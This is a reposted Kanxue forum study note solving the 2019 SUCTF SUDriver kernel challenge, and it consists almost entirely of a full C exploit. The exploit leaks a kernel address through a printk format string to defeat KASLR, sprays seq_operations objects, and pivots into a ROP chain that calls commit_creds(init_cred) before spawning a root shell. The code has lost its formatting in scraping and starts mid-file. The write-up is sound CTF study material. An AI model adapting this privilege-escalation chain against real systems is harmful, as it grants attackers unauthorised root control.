#define&nbsp;DO_VFS_IOCTL 0xffffffff811c81e0
#define&nbsp;LEAK_INTERNAL_OFFSET 0x9f
#define&nbsp;PREPARE_KERNEL_CRED 0xffffffff81081790
#define&nbsp;CPMMIT_CREDS 0xffffffff81081410

#define&nbsp;PUSH_RDI_POP_RSP_JE_RET 0xffffffff814a1b14
#define&nbsp;POP_RDI_RET 0xffffffff81001388
#define&nbsp;MOV_RAX_RDI_RET 0xffffffff8100e2c5
#define&nbsp;POP_R13_RET 0xffffffff81000a38
#define&nbsp;SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xFFFFFFFF81A0096F
#define&nbsp;POP_R8_RET 0xffffffff8133bfb8
#define&nbsp;POP_RDX_RET 0xffffffff81044f17
#define&nbsp;MOV_RDI_RAX_CMP_JNE_RET 0xffffffff810d690e
#define&nbsp;INIT_CRED_ADDR 0xffffffff82241c00

#define&nbsp;ADD_RSP_168_RET 0xffffffff81134b6c

int&nbsp;dev_fd;

size_t&nbsp;user_cs, user_ss, user_rflags, user_sp;

size_t&nbsp;prepare_kernel_cred =&nbsp;0;
size_t&nbsp;commit_creds =&nbsp;0;
size_t&nbsp;swapgs_restore_regs_and_return_to_usermode =&nbsp;0;

int&nbsp;operations_id[MAX_SPRAY_SIZE];

uint64_t&nbsp;rop_args[20];

size_t&nbsp;user_cs, user_ss, user_rflags, user_sp;

voidsave_status(void)&nbsp;{
asm&nbsp;volatile&nbsp;(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
&nbsp; &nbsp; );
puts("[*] Status has been saved.");
}

voidget_root_shell(int&nbsp;sig)&nbsp;{
if(getuid()) {
puts("[x] Failed to get the root!");
exit(EXIT_FAILURE);
&nbsp; &nbsp; }
puts("[+] Successful to get the root. Execve root shell now...");
system("/bin/sh");
exit(EXIT_SUCCESS);
}

voidbind_core(int&nbsp;core)&nbsp;{
cpu_set_t&nbsp;cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(),&nbsp;sizeof(cpu_set), &cpu_set);
printf("[*] Process binded to core %d\n", core);
}

voidAddchunk(size_t&nbsp;size)&nbsp;{
ioctl(dev_fd,&nbsp;0x73311337, size);
}

voidShowsomething()&nbsp;{
ioctl(dev_fd,&nbsp;0xDEADBEEF);
}

voidFreechunk()&nbsp;{
ioctl(dev_fd,&nbsp;0x13377331);
}

voidtrigger_syscall(int&nbsp;fd,&nbsp;void&nbsp;*buf,&nbsp;uint64_t&nbsp;*args)&nbsp;{
asm&nbsp;volatile(
// 1. 保护 C 运行时的寄存器
"push r15\n"
"push r14\n"
"push r13\n"
"push r12\n"
"push rbp\n"
"push rbx\n"

// 2. 从 args 数组 (rdx) 中安全提取 ROP 链到寄存器
"mov r15, [rdx + 0x00]\n"
"mov r14, [rdx + 0x08]\n"
"mov r13, [rdx + 0x10]\n"
"mov r12, [rdx + 0x18]\n"
"mov rbp, [rdx + 0x20]\n"
"mov rbx, [rdx + 0x28]\n"
"mov r11, [rdx + 0x30]\n"
"mov r10, [rdx + 0x38]\n"
"mov r9, &nbsp;[rdx + 0x40]\n"
"mov r8, &nbsp;[rdx + 0x48]\n"

// 3. 执行系统调用
"mov rax, 0\n"&nbsp; &nbsp; &nbsp;&nbsp;// SYS_read
"mov rdx, 8\n"&nbsp; &nbsp; &nbsp;&nbsp;// count = 8
// fd 已经在 rdi 里了,buf 已经在 rsi 里了
"syscall\n"

// 4. 完美恢复 C 运行时的寄存器
"pop rbx\n"
"pop rbp\n"
"pop r12\n"
"pop r13\n"
"pop r14\n"
"pop r15\n"
&nbsp; &nbsp; &nbsp; &nbsp; :
&nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;"D"&nbsp;(fd),&nbsp;"S"&nbsp;(buf),&nbsp;"d"&nbsp;(args)&nbsp;// GCC 约束保留,用于传参
&nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;"rax",&nbsp;"rcx",&nbsp;"r8",&nbsp;"r9",&nbsp;"r10",&nbsp;"r11",&nbsp;"memory"
&nbsp; &nbsp; );
}

intmain(void)&nbsp;{

save_status();

bind_core(0);

&nbsp; &nbsp; dev_fd =&nbsp;open("/dev/meizijiutql", O_RDWR);
if&nbsp;(dev_fd <&nbsp;0) {
perror("[-] Failed to open /dev/meizijiutql");
exit(EXIT_FAILURE);
&nbsp; &nbsp; }
printf("[+] Successfully opened device!\n");

for&nbsp;(int&nbsp;i =&nbsp;0;i < MAX_SPRAY_SIZE-300;i++)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; operations_id[i] =&nbsp;open("/proc/self/stat",O_RDONLY);
if&nbsp;(operations_id[i] <&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; {
printf("[-] failed to create seq_operations[%d]\n",i);
exit(EXIT_FAILURE);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

printf("[+] Success to spray seq_operations[0-%d]\n",MAX_SPRAY_SIZE-300);

Addchunk(0x20);

for&nbsp;(int&nbsp;i = MAX_SPRAY_SIZE-300;i < MAX_SPRAY_SIZE;i++)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; operations_id[i] =&nbsp;open("/proc/self/stat",O_RDONLY);
if&nbsp;(operations_id[i] <&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; {
printf("[-] failed to create seq_operations[%d]\n",i);
exit(EXIT_FAILURE);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

char&nbsp;buf[0x20] = {0};
strcat(buf,&nbsp;"[Exploit_Leak]:");
for(int&nbsp;i =&nbsp;0; i <&nbsp;8; i++) {
strcat(buf,&nbsp;"%llx-");
&nbsp; &nbsp; }
strcat(buf,&nbsp;"\n");

printf("[*] Sending format string to kernel...\n");
write(dev_fd, buf,&nbsp;strlen(buf));

printf("[*] Triggering printk...\n");
Showsomething();

sleep(3);

char&nbsp;log_buf[0x2000] = {0};
size_t&nbsp;dynamic_do_vfs_ioctl =&nbsp;0;
size_t&nbsp;kernel_offset =&nbsp;0;

int&nbsp;bytes_read =&nbsp;klogctl(3, log_buf,&nbsp;sizeof(log_buf) -&nbsp;1);
if&nbsp;(bytes_read >&nbsp;0)
&nbsp; &nbsp; {
char&nbsp;*match =&nbsp;strstr(log_buf,&nbsp;"[Exploit_Leak]:");
if&nbsp;(match)
&nbsp; &nbsp; &nbsp; &nbsp; {
printf("[+] Leak found via syslog: %s\n", match);

char&nbsp;*newline =&nbsp;strchr(match,&nbsp;'\n');
if&nbsp;(newline) *newline =&nbsp;'\0';

uint64_t&nbsp;leak_addr =&nbsp;0;
char&nbsp;*token =&nbsp;strtok(match,&nbsp;"-");
while&nbsp;(token !=&nbsp;NULL)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
if&nbsp;(strncmp(token,&nbsp;"ffffffff",&nbsp;8) ==&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
sscanf(token,&nbsp;"%lx", &leak_addr);
printf("[+] leak_addr = 0x%lx\n",leak_addr);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; kernel_offset = leak_addr - DO_VFS_IOCTL - LEAK_INTERNAL_OFFSET;
printf("[+] kernel_offset = 0x%lx\n",kernel_offset);
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; token =&nbsp;strtok(NULL,&nbsp;"-");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

size_t&nbsp;kernel_base = KERNEL_BASE + kernel_offset;
printf("[+] kernel_base = 0x%lx\n",kernel_base);

&nbsp; &nbsp; prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
&nbsp; &nbsp; commit_creds = CPMMIT_CREDS + kernel_offset;
&nbsp; &nbsp; swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset +&nbsp;8;

if&nbsp;(kernel_offset ==&nbsp;0)
&nbsp; &nbsp; {
puts("[-] KASLR Leak Failed (dmesg buffer missed)! Please run exp again.");
exit(EXIT_FAILURE);
&nbsp; &nbsp; }

printf("[+] Perfect! KASLR completely defeated. Offset: 0x%lx\n", kernel_offset);

size_t&nbsp;buf2[0x40] = {0};
&nbsp; &nbsp; buf2[0] =&nbsp;0xDEADBEEFDEADBEEF;
for&nbsp;(int&nbsp;i =&nbsp;4;i <&nbsp;0x40;i +=&nbsp;4)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; buf2[i] =&nbsp;0xffffffff81134b6c&nbsp;+ kernel_offset;
&nbsp; &nbsp; &nbsp; &nbsp; buf2[i+1] =&nbsp;0xffffffff811d8a70&nbsp;+ kernel_offset;
&nbsp; &nbsp; &nbsp; &nbsp; buf2[i+2] =&nbsp;0xffffffff811d8a60&nbsp;+ kernel_offset;
&nbsp; &nbsp; &nbsp; &nbsp; buf2[i+3] =&nbsp;0xffffffff81220e50&nbsp;+ kernel_offset;
&nbsp; &nbsp; }

write(dev_fd, buf2,&nbsp;0x200);

size_t&nbsp;pop_rdi_ret = POP_RDI_RET + kernel_offset;
size_t&nbsp;pop_rdx_ret = POP_RDX_RET + kernel_offset;
size_t&nbsp;pop_r8_ret &nbsp;= POP_R8_RET &nbsp;+ kernel_offset;
size_t&nbsp;mov_rdi_rax_cmp_jne_ret =&nbsp;0xffffffff810d690d&nbsp;+ kernel_offset;&nbsp;// 用你新找的这个地址

int&nbsp;idx =&nbsp;0;

size_t&nbsp;init_cred = INIT_CRED_ADDR + kernel_offset;

&nbsp; &nbsp; rop_args[idx++] = pop_rdi_ret;
&nbsp; &nbsp; rop_args[idx++] = init_cred;
&nbsp; &nbsp; rop_args[idx++] = commit_creds;
&nbsp; &nbsp; rop_args[idx++] = swapgs_restore_regs_and_return_to_usermode;

char&nbsp;junk_buf[8] = {0};

for&nbsp;(int&nbsp;i =&nbsp;0; i < MAX_SPRAY_SIZE; i++) {
if&nbsp;(operations_id[i] <&nbsp;0) {
continue;
&nbsp; &nbsp; &nbsp; &nbsp; }
trigger_syscall(operations_id[i], junk_buf, rop_args);

if&nbsp;(getuid() ==&nbsp;0) {
puts("[+] God Mode Activated! Spawning Root Shell...");

system("/bin/sh");

puts("[*] Shell exited. Sleeping forever to prevent kernel panic...");
while(1) {
sleep(100);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

return&nbsp;0;
}

#

看雪ID:xnqjns

https://bbs.kanxue.com/user-home-1058447.htm

*本文为看雪论坛优秀文章,由 xnqjns 原创,转载请注明来自看雪社区

第十届安全开发者峰会【议题征集】-欢迎投稿

往期推荐

ret2dlresolve分析

ELF GOT Hook 实战

面向复现的逆向工程实践:Hermes 在设备刷写、提权与 Frida 魔改中的自动化能力验证

把 .o 变成 .ko:GKI 安全特性的铁幕

实战APP全流程分析(检测绕过/登录分析/视频解锁/native加密/广告绕过)

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 xnqjns xnqjns《2019-SUCTF-SUDriver 学习笔记》

2026平航杯wp 网络安全文章

2026平航杯wp

文章总结: 本文是2026平航杯CTF比赛的赛后复盘Writeup,涵盖手机取证和服务器镜像分析。作者通过手动与AI辅助,解答了手机型号、微信记录、地图搜索、加
评论:0   参与:  0